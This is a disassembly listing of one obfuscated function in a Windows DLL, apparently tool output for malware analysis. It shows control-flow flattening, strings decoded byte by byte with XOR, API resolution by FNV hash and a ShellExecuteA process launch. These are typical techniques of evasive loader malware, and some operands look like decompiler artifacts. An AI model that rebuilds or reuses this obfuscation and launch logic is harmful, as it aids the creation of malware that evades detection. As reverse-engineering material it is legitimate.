Function at 0x180060970
Capabilities:
Create process on windows
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa38
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x9a0], xmm6
mov qword [rbp + 0x40], rcx
mov rax, qword [0x1800e8a00]
xor rax, rbp
mov qword [rbp + 0x998], rax
movabs r9, 0xcbf29ce484222325
movabs r10, 0x100000001b3
mov ecx, 0xc5445b8c
mov r11d, 0xed3b0916
mov r12d, 0xde9741b
xorps xmm6, xmm6
mov r15d, 0x45d558a
mov r13d, 0xb18d2356
mov r14d, 0xec989665
jmp 0x180060a60
mov rcx, qword [rbp + 0xc0]
sub rsp, 0x20
call fcn.180071f90
add rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rcx, qword [rcx]
mov rdx, qword [rbp + 0x30]
mov r9, qword [rbp + 0xd0]
sub rsp, 0x30
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rsi
mov rdx, rax
xor r8d, r8d
call qword [rbp - 0x48]
add rsp, 0x30
mov rax, qword [rbp - 0x20]
cmp word [rsi], 0
mov ecx, 0xc5374601
mov eax, 0x88bce288
cmove ecx, eax
movabs r9, 0xcbf29ce484222325
movabs r10, 0x100000001b3
mov r11d, 0xed3b0916
nop word cs:[rax + rax]
mov esi, 0xfe1c46be
cmp ecx, 0xc5374600
jg 0x180060b60
cmp ecx, 0xaba1942a
jg 0x180060bb0
cmp ecx, 0x8a45293b
jle 0x180060cb5
cmp ecx, 0x8a45293c
je 0x180060da6
cmp ecx, 0x93d35106
je 0x180060df5
cmp ecx, 0xa1f83a8c
jne 0x180060a65
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax]
mov rax, qword [rbp - 0x58]
mov rdx, qword [rbp + 0x10]
sub rsp, 0x20
mov r8d, 0x400
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x18]
lea rax, [rbp + 0x168]
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov byte [rax], 0x1a
mov rax, qword [rbp + 0x120]
mov dword [rbp + 0x140], 0x47
mov edx, 0x4093f8b1
mov cl, byte [rbp + 0x168]
cmp edx, 0x6cea4fc1
je 0x180061208
cmp edx, 0x4093f8b1
jne 0x180060b00
mov edx, 0xba542384
nop dword [rax]
cmp edx, 0x1f336f81
je 0x180060b3d
cmp edx, 0xba542384
jne 0x180060b20
mov byte [rbp + 0x148], cl
mov edx, 0x1f336f81
jmp 0x180060b20
mov dl, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x128], bl
mov edx, 0x6cea4fc1
jmp 0x180060b00
cmp ecx, 0x1c80a5d8
jle 0x180060c80
cmp ecx, 0x363f5709
jle 0x180060d32
cmp ecx, 0x363f570a
je 0x18006127b
cmp ecx, 0x3ed6789e
je 0x1800612d8
cmp ecx, 0x7f696425
je 0x18006684f
jmp 0x180060a65
cmp ecx, 0xb2849a37
jle 0x180060d4f
cmp ecx, 0xb2849a38
je 0x18006133a
cmp ecx, 0xb4c784f6
je 0x1800613a8
cmp ecx, 0xbed3d23a
jne 0x180060a65
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov byte [rcx], 5
mov rcx, qword [rbp + 0x120]
mov dword [rbp + 0x148], 0x3a
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x18006140c
cmp edx, 0xe27ab881
jne 0x180060c20
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180060c5e
cmp edx, 0x8831881a
jne 0x180060c40
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180060c40
mov rdx, qword [rbp + 0x168]
movsx edx, byte [rdx]
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180060c20
cmp ecx, 0xdc8e0c1e
jle 0x180060d89
cmp ecx, 0xdc8e0c1f
je 0x18006148a
cmp ecx, 0xed479ec
je 0x1800668b2
cmp ecx, 0xee904620
jne 0x180060a65
jmp 0x18006a9ab
cmp ecx, 0x8059eb15
je 0x1800614e3
cmp ecx, 0x88bce288
jne 0x180060a65
mov rax, qword [rbp + 0xb8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x138]
mov byte [rcx], 0x4b
mov rcx, qword [rbp + 0x138]
mov dword [rbp + 0x140], 0x52
mov edx, 0x186e2405
nop word [rax + rax]
cmp edx, 0xbf8b13f4
je 0x18006156f
cmp edx, 0x186e2405
jne 0x180060d10
mov qword [rbp + 0x168], rax
mov edx, 0xbf8b13f4
jmp 0x180060d10
cmp ecx, 0x1c80a5d9
je 0x180066e17
cmp ecx, 0x2ec35ac2
je 0x1800676cd
jmp 0x180060a65
cmp ecx, 0xaba1942b
je 0x1800615c0
cmp ecx, 0xb198f1f3
jne 0x180060a65
mov rax, qword [rbp + 0xd0]
mov dword [rax], 1
mov rax, qword [rbp + 0xc8]
mov qword [rbp - 0x20], rax
mov ecx, 0x1c80a5d9
jmp 0x180060a65
cmp ecx, 0xc5374601
je 0x18006160c
cmp ecx, 0xc5445b8c
je 0x1800677cc
jmp 0x180060a65
mov rax, qword [rbp + 0x108]
mov qword [rbp], rax
mov rax, qword [rbp]
mov rax, qword [rbp + 0xe0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rax, qword [rbp + 0xe0]
mov ecx, 0xe0105063
cmp ecx, 0xd290f35a
je 0x180061625
cmp ecx, 0xe0105063
jne 0x180060dd0
mov dword [rbp + 0x168], 1
mov ecx, 0xd290f35a
jmp 0x180060dd0
mov r8, qword [rbp - 0x70]
mov ebx, 0x9304b30f
jmp 0x180060e20
movsxd rdi, ecx
xor rdi, qword [rbp + 0x168]
imul rdi, r10
mov esi, dword [rbp + 0x128]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax]
cmp ebx, 0xec989664
jle 0x180060e80
cmp ebx, 0xde9741a
jle 0x180060ed0
cmp ebx, 0x4040a63f
jg 0x180060f59
cmp ebx, 0xde9741b
je 0x180061022
cmp ebx, 0x23777f42
je 0x180061039
cmp ebx, 0x34fd6d6d
jne 0x180060e20
cmp byte [rbp + 0x118], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x180060e20
cmp ebx, 0xb3b07733
jle 0x180060f10
cmp ebx, 0xc86312b3
jle 0x180060f8d
cmp ebx, 0xc86312b4
je 0x180060e00
cmp ebx, 0xcaf004ba
je 0x180061043
cmp ebx, 0xdf0d33c4
jne 0x180060e20
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x180060e20
cmp ebx, 0xfa416f8f
jle 0x180060fce
cmp ebx, 0xfa416f90
je 0x180061071
cmp ebx, 0x45d558a
je 0x180061081
cmp ebx, 0xc942d64
jne 0x180060e20
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180060e20
cmp ebx, 0xa8588bcb
jle 0x180061000
cmp ebx, 0xa8588bcc
je 0x18006109b
cmp ebx, 0xa94a57ae
je 0x1800610ab
cmp ebx, 0xb18d2356
jne 0x180060e20
mov eax, dword [rbp + 0x150]
or eax, 0x20
mov dword [rbp + 0x138], eax
mov ebx, 0xfa416f90
jmp 0x180060e20
cmp ebx, 0x4040a640
je 0x1800610b5
cmp ebx, 0x494b1080
je 0x1800610bf
cmp ebx, 0x6238ad6b
jne 0x180060e20
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x180060e20
cmp ebx, 0xb3b07734
je 0x1800610d4
cmp ebx, 0xc46bd60d
jne 0x18006112f
mov dword [rbp + 0x128], esi
mov qword [rbp + 0x168], rdi
mov ebx, dword [rbp + 0x120]
mov eax, dword [rbp + 0x128]
cmp eax, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x180060e20
cmp ebx, 0xec989665
je 0x1800610fb
cmp ebx, 0xed3b0916
jne 0x180060e20
mov eax, dword [rbp + 0x150]
cmp eax, 0x5b
setl byte [rbp + 0x118]
mov ebx, 0x34fd6d6d
jmp 0x180060e20
cmp ebx, 0x8051c795
je 0x180061114
cmp ebx, 0x9304b30f
jne 0x180060e20
mov ebx, 0xc942d64
jmp 0x180060e20
mov eax, dword [rbp + 0x128]
mov qword [rbp + 0x148], rax
mov ebx, 0x8051c795
jmp 0x180060e20
mov ebx, 0xdf0d33c4
jmp 0x180060e20
mov dword [rbp + 0x120], edx
mov ebx, dword [rbp + 0x120]
movsx ebx, byte [r8 + rbx]
mov dword [rbp + 0x11c], ebx
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x180060e20
mov ebx, 0xc86312b4
mov ecx, dword [rbp + 0x138]
jmp 0x180060e20
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x7f
setl byte [rbp + 0x137]
mov ebx, 0x494b1080
jmp 0x180060e20
mov ebx, 0xc86312b4
mov ecx, dword [rbp + 0x150]
jmp 0x180060e20
mov ebx, 0x23777f42
jmp 0x180060e20
mov ebx, 0x6238ad6b
jmp 0x180060e20
cmp byte [rbp + 0x137], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x180060e20
mov rax, qword [rbp + 0x140]
movsx eax, byte [rax]
mov dword [rbp + 0x150], eax
mov eax, dword [rbp + 0x150]
cmp eax, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x180060e20
mov ebx, dword [rbp + 0x120]
add ebx, 1
mov dword [rbp + 0x15c], ebx
mov ebx, 0x4040a640
jmp 0x180060e20
mov rax, qword [rbp + 0x148]
add rax, r8
mov qword [rbp + 0x140], rax
mov ebx, 0xb3b07734
jmp 0x180060e20
cmp ebx, 0xc5d9b945
jne 0x180060e20
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov qword [rbp - 0x78], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x138]
mov word [rcx], 0x800d
mov rcx, qword [rbp + 0x138]
mov edx, 0xd3a0b5ba
mov esi, 0xfe1c46be
nop word [rax + rax]
cmp edx, 0x10c26fb3
je 0x180061665
cmp edx, 0xd3a0b5ba
jne 0x1800611b0
mov edx, 0x8ba22fa5
nop dword [rax]
cmp edx, 0x9a654cea
je 0x1800611ee
cmp edx, 0x8ba22fa5
jne 0x1800611d0
mov qword [rbp + 0x168], rax
mov edx, 0x9a654cea
jmp 0x1800611d0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
xor edx, 0x43
mov dword [rbp + 0x140], edx
mov edx, 0x10c26fb3
jmp 0x1800611b0
mov dl, byte [rbp + 0x128]
mov byte [rax + 1], dl
mov dword [rbp + 0x140], 0x65
mov edx, 0x4093f8b1
cmp edx, 0x6cea4fc1
je 0x1800616d8
cmp edx, 0x4093f8b1
jne 0x180061220
mov edx, 0xba542384
nop dword [rax]
cmp edx, 0x1f336f81
je 0x18006125d
cmp edx, 0xba542384
jne 0x180061240
mov byte [rbp + 0x148], cl
mov edx, 0x1f336f81
jmp 0x180061240
mov dl, byte [rbp + 0x148]
add dl, 1
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x128], bl
mov edx, 0x6cea4fc1
jmp 0x180061220
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x20
call fcn.180072330
add rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rcx, qword [rcx]
mov rbx, qword [rbp - 0x78]
sub rsp, 0x20
xor edx, edx
mov r8, rax
call rbx
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov ecx, 0xc5374601
jmp 0x180060a65
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.180071a10
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x10]
mov rdx, qword [rbp + 0xf8]
sub rsp, 0x30
mov qword [rsp + 0x20], rdx
mov rdx, rax
mov r9, r8
call fcn.180071940
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x30
mov ecx, 0xb2849a38
jmp 0x180060a65
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
call fcn.1800c7b2c
add rsp, 0x20
mov r8, qword [rbp + 0xf8]
sub rsp, 0x30
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, str.open
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x30
mov ecx, 0x8a45293c
jmp 0x180060a65
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800bc230
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0xd0]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov ecx, 0xb198f1f3
jmp 0x180060a65
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 1], dl
mov dword [rbp + 0x148], 0x4c
mov edx, 0xe27ab881
nop word [rax + rax]
cmp edx, 0x132ec055
je 0x180061ca4
cmp edx, 0xe27ab881
jne 0x180061430
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006146e
cmp edx, 0x8831881a
jne 0x180061450
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180061450
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 1
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180061430
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rcx, qword [rcx]
sub rsp, 0x20
call rax
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0x68]
mov ecx, 0xaba1942b
jmp 0x180060a65
mov rax, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov word [rcx], 0xa2a2
mov rcx, qword [rbp + 0x120]
mov edx, 0x2dfd4f46
cmp edx, 0x36642f7
je 0x180061d2a
cmp edx, 0x2dfd4f46
jne 0x180061510
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180061558
cmp edx, 0x18793e71
jne 0x180061530
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180061530
movzx edx, word [rbp + 0x148]
xor edx, 0x73
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180061510
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
mov byte [rbp + 0x148], dl
mov edx, 0x43bb9e51
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x51a8dc5d
je 0x180061d9f
cmp edx, 0x43bb9e51
jne 0x180061590
movzx edx, byte [rbp + 0x148]
mov ebx, dword [rbp + 0x140]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x51a8dc5d
jmp 0x180061590
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800bc230
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov ecx, 0x2ec35ac2
jmp 0x180060a65
mov rax, qword [rbp + 0xa8]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov ecx, 0x7f696425
jmp 0x180060a65
mov ecx, dword [rbp + 0x168]
add cl, 0x52
mov byte [rax], cl
mov ecx, 0xe0105063
nop word cs:[rax + rax]
nop
cmp ecx, 0xd290f35a
je 0x180062802
cmp ecx, 0xe0105063
jne 0x180061640
mov dword [rbp + 0x168], 1
mov ecx, 0xd290f35a
jmp 0x180061640
mov edx, dword [rbp + 0x140]
mov word [rcx + 2], dx
mov edx, 0xd3a0b5ba
nop word cs:[rax + rax]
nop
cmp edx, 0x10c26fb3
je 0x180062843
cmp edx, 0xd3a0b5ba
jne 0x180061680
mov edx, 0x8ba22fa5
nop dword [rax]
cmp edx, 0x9a654cea
je 0x1800616be
cmp edx, 0x8ba22fa5
jne 0x1800616a0
mov qword [rbp + 0x168], rax
mov edx, 0x9a654cea
jmp 0x1800616a0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
xor edx, 0x61
mov dword [rbp + 0x140], edx
mov edx, 0x10c26fb3
jmp 0x180061680
mov cl, byte [rbp + 0x128]
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp + 0x128], rax
mov byte [rbp + 0x11c], 0x74
mov ecx, 0xde151856
nop dword [rax + rax]
cmp ecx, 0x21ed1235
jle 0x180061730
cmp ecx, 0x21ed1236
je 0x1800617bb
cmp ecx, 0x7ecfd65f
jne 0x180061700
jmp 0x1800628b8
cmp ecx, 0xde151856
je 0x1800617db
cmp ecx, 0x1839c1e1
jne 0x180061700
mov rax, qword [rbp + 0x148]
mov dword [rbp + 0x138], 0x68
mov edx, 0x4093f8b1
mov cl, byte [rbp + 0x168]
cmp edx, 0x6cea4fc1
je 0x18006185b
cmp edx, 0x4093f8b1
jne 0x180061760
mov edx, 0xba542384
nop dword [rax]
cmp edx, 0x1f336f81
je 0x18006179d
cmp edx, 0xba542384
jne 0x180061780
mov byte [rbp + 0x150], cl
mov edx, 0x1f336f81
jmp 0x180061780
mov dl, byte [rbp + 0x150]
add dl, 0xa
mov ebx, dword [rbp + 0x138]
xor bl, dl
mov byte [rbp + 0x15c], bl
mov edx, 0x6cea4fc1
jmp 0x180061760
mov byte [rax], 0
add rax, 1
cmp rax, qword [rbp + 0x140]
mov ecx, 0x21ed1236
mov edx, 0x7ecfd65f
cmove ecx, edx
jmp 0x180061700
movsx ecx, byte [rbp + 0x11c]
mov dword [rbp + 0x138], ecx
mov edx, 0x4093f8b1
mov cl, byte [rbp + 0x168]
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x6cea4fc1
je 0x1800618db
cmp edx, 0x4093f8b1
jne 0x180061800
mov edx, 0xba542384
nop dword [rax]
cmp edx, 0x1f336f81
je 0x18006183d
cmp edx, 0xba542384
jne 0x180061820
mov byte [rbp + 0x150], cl
mov edx, 0x1f336f81
jmp 0x180061820
mov dl, byte [rbp + 0x150]
add dl, 2
mov ebx, dword [rbp + 0x138]
xor bl, dl
mov byte [rbp + 0x15c], bl
mov edx, 0x6cea4fc1
jmp 0x180061800
mov dl, byte [rbp + 0x15c]
mov byte [rax + 1], dl
mov dword [rbp + 0x138], 0x41
mov edx, 0x4093f8b1
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x6cea4fc1
je 0x18006196d
cmp edx, 0x4093f8b1
jne 0x180061880
mov edx, 0xba542384
nop dword [rax]
cmp edx, 0x1f336f81
je 0x1800618bd
cmp edx, 0xba542384
jne 0x1800618a0
mov byte [rbp + 0x150], cl
mov edx, 0x1f336f81
jmp 0x1800618a0
mov dl, byte [rbp + 0x150]
add dl, 0xb
mov ebx, dword [rbp + 0x138]
xor bl, dl
mov byte [rbp + 0x15c], bl
mov edx, 0x6cea4fc1
jmp 0x180061880
mov cl, byte [rbp + 0x15c]
mov rdx, qword [rbp + 0x128]
mov byte [rdx], cl
mov rdx, qword [rbp + 0x128]
mov dword [rbp + 0x138], 0x54
mov ebx, 0x4093f8b1
mov cl, byte [rbp + 0x168]
nop word cs:[rax + rax]
cmp ebx, 0x6cea4fc1
je 0x180061996
cmp ebx, 0x4093f8b1
jne 0x180061910
mov ebx, 0xba542384
nop word cs:[rax + rax]
nop
cmp ebx, 0x1f336f81
je 0x18006194d
cmp ebx, 0xba542384
jne 0x180061930
mov byte [rbp + 0x150], cl
mov ebx, 0x1f336f81
jmp 0x180061930
mov bl, byte [rbp + 0x150]
add bl, 3
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rbp + 0x15c], dil
mov ebx, 0x6cea4fc1
jmp 0x180061910
mov cl, byte [rbp + 0x15c]
mov byte [rax + 2], cl
add rax, 3
mov rcx, qword [rbp + 0x120]
add rcx, 0xe
mov qword [rbp + 0x140], rcx
mov ecx, 0x21ed1236
jmp 0x180061700
mov bl, byte [rbp + 0x15c]
mov byte [rdx + 1], bl
mov dword [rbp + 0x138], 0x65
mov ebx, 0x4093f8b1
nop
cmp ebx, 0x6cea4fc1
je 0x180061a0d
cmp ebx, 0x4093f8b1
jne 0x1800619b0
mov ebx, 0xba542384
nop word cs:[rax + rax]
nop
cmp ebx, 0x1f336f81
je 0x1800619ed
cmp ebx, 0xba542384
jne 0x1800619d0
mov byte [rbp + 0x150], cl
mov ebx, 0x1f336f81
jmp 0x1800619d0
mov bl, byte [rbp + 0x150]
add bl, 4
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rbp + 0x15c], dil
mov ebx, 0x6cea4fc1
jmp 0x1800619b0
mov bl, byte [rbp + 0x15c]
mov byte [rdx + 2], bl
mov dword [rbp + 0x138], WSAStartup
mov ebx, 0x4093f8b1
nop word cs:[rax + rax]
nop
cmp ebx, 0x6cea4fc1
je 0x180061a8d
cmp ebx, 0x4093f8b1
jne 0x180061a30
mov ebx, 0xba542384
nop word cs:[rax + rax]
nop
cmp ebx, 0x1f336f81
je 0x180061a6d
cmp ebx, 0xba542384
jne 0x180061a50
mov byte [rbp + 0x150], cl
mov ebx, 0x1f336f81
jmp 0x180061a50
mov bl, byte [rbp + 0x150]
add bl, 5
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rbp + 0x15c], dil
mov ebx, 0x6cea4fc1
jmp 0x180061a30
mov bl, byte [rbp + 0x15c]
mov byte [rdx + 3], bl
mov dword [rbp + 0x138], WSAStartup
mov ebx, 0x4093f8b1
nop word cs:[rax + rax]
nop
cmp ebx, 0x6cea4fc1
je 0x180061b0d
cmp ebx, 0x4093f8b1
jne 0x180061ab0
mov ebx, 0xba542384
nop word cs:[rax + rax]
nop
cmp ebx, 0x1f336f81
je 0x180061aed
cmp ebx, 0xba542384
jne 0x180061ad0
mov byte [rbp + 0x150], cl
mov ebx, 0x1f336f81
jmp 0x180061ad0
mov bl, byte [rbp + 0x150]
add bl, 6
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rbp + 0x15c], dil
mov ebx, 0x6cea4fc1
jmp 0x180061ab0
mov bl, byte [rbp + 0x15c]
mov byte [rdx + 4], bl
mov dword [rbp + 0x138], 0x50
mov ebx, 0x4093f8b1
nop word cs:[rax + rax]
nop
cmp ebx, 0x6cea4fc1
je 0x180061b8d
cmp ebx, 0x4093f8b1
jne 0x180061b30
mov ebx, 0xba542384
nop word cs:[rax + rax]
nop
cmp ebx, 0x1f336f81
je 0x180061b6d
cmp ebx, 0xba542384
jne 0x180061b50
mov byte [rbp + 0x150], cl
mov ebx, 0x1f336f81
jmp 0x180061b50
mov bl, byte [rbp + 0x150]
add bl, 7
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rbp + 0x15c], dil
mov ebx, 0x6cea4fc1
jmp 0x180061b30
mov bl, byte [rbp + 0x15c]
mov byte [rdx + 5], bl
mov dword [rbp + 0x138], 0x61
mov ebx, 0x4093f8b1
nop word cs:[rax + rax]
nop
cmp ebx, 0x6cea4fc1
je 0x180061c0d
cmp ebx, 0x4093f8b1
jne 0x180061bb0
mov ebx, 0xba542384
nop word cs:[rax + rax]
nop
cmp ebx, 0x1f336f81
je 0x180061bed
cmp ebx, 0xba542384
jne 0x180061bd0
mov byte [rbp + 0x150], cl
mov ebx, 0x1f336f81
jmp 0x180061bd0
mov bl, byte [rbp + 0x150]
add bl, 8
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rbp + 0x15c], dil
mov ebx, 0x6cea4fc1
jmp 0x180061bb0
mov bl, byte [rbp + 0x15c]
mov byte [rdx + 6], bl
add rdx, 7
mov qword [rbp + 0x148], rdx
mov dword [rbp + 0x138], 0x74
mov edx, 0x4093f8b1
cmp edx, 0x6cea4fc1
je 0x180061c8b
cmp edx, 0x4093f8b1
jne 0x180061c30
mov edx, 0xba542384
nop word cs:[rax + rax]
nop
cmp edx, 0x1f336f81
je 0x180061c6d
cmp edx, 0xba542384
jne 0x180061c50
mov byte [rbp + 0x150], cl
mov edx, 0x1f336f81
jmp 0x180061c50
mov dl, byte [rbp + 0x150]
add dl, 9
mov ebx, dword [rbp + 0x138]
xor bl, dl
mov byte [rbp + 0x15c], bl
mov edx, 0x6cea4fc1
jmp 0x180061c30
mov cl, byte [rbp + 0x15c]
mov rdx, qword [rbp + 0x148]
mov byte [rdx], cl
mov ecx, 0x1839c1e1
jmp 0x180061700
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 2], dl
mov dword [rbp + 0x148], 0x31
mov edx, 0xe27ab881
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x132ec055
je 0x180062d0a
cmp edx, 0xe27ab881
jne 0x180061cd0
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180061d0e
cmp edx, 0x8831881a
jne 0x180061cf0
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180061cf0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 2
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180061cd0
mov edx, dword [rbp + 0x140]
mov word [rcx + 2], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x180062d8a
cmp edx, 0x2dfd4f46
jne 0x180061d40
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180061d88
cmp edx, 0x18793e71
jne 0x180061d60
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180061d60
movzx edx, word [rbp + 0x148]
xor edx, 0x6f
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180061d40
mov dl, byte [rbp + 0x168]
mov byte [rcx + 1], dl
add rcx, 2
mov qword [rbp + 0x120], rcx
lea rcx, [0x1800dfb1d]
mov qword [rbp + 0x128], rcx
mov edx, 0xfd0196b9
nop word cs:[rax + rax]
cmp edx, 0xfd0196b8
jg 0x180061e50
cmp edx, 0xbc2de8cf
je 0x180061ea2
cmp edx, 0xcb490b3c
jne 0x180061dd0
mov rcx, qword [rbp + 0x148]
mov dl, byte [rbp + 0x11c]
mov byte [rcx], dl
mov rcx, qword [rbp + 0x148]
mov dword [rbp + 0x150], 0x65
mov edx, 0x186e2405
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xbf8b13f4
je 0x180061ec2
cmp edx, 0x186e2405
jne 0x180061e20
mov qword [rbp + 0x168], rax
mov edx, 0xbf8b13f4
jmp 0x180061e20
cmp edx, 0xff9f5a75
je 0x180062dff
cmp edx, 0xfd0196b9
jne 0x180061dd0
mov rdx, qword [rbp + 0x128]
movsx edx, byte [rdx]
mov dword [rbp + 0x150], edx
mov edx, 0x186e2405
nop dword [rax]
cmp edx, 0xbf8b13f4
je 0x180061f0c
cmp edx, 0x186e2405
jne 0x180061e80
mov qword [rbp + 0x168], rax
mov edx, 0xbf8b13f4
jmp 0x180061e80
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x140]
mov edx, 0xbc2de8cf
mov ebx, 0xff9f5a75
cmove edx, ebx
jmp 0x180061dd0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
mov byte [rbp + 0x15c], dl
mov edx, 0x43bb9e51
nop word cs:[rax + rax]
cmp edx, 0x51a8dc5d
je 0x180061f4c
cmp edx, 0x43bb9e51
jne 0x180061ee0
movzx edx, byte [rbp + 0x15c]
mov ebx, dword [rbp + 0x150]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x51a8dc5d
jmp 0x180061ee0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
mov byte [rbp + 0x15c], dl
mov edx, 0x43bb9e51
cmp edx, 0x51a8dc5d
je 0x180061f8e
cmp edx, 0x43bb9e51
jne 0x180061f20
movzx edx, byte [rbp + 0x15c]
mov ebx, dword [rbp + 0x150]
xor bl, dl
mov byte [rbp + 0x168], bl
mov edx, 0x51a8dc5d
jmp 0x180061f20
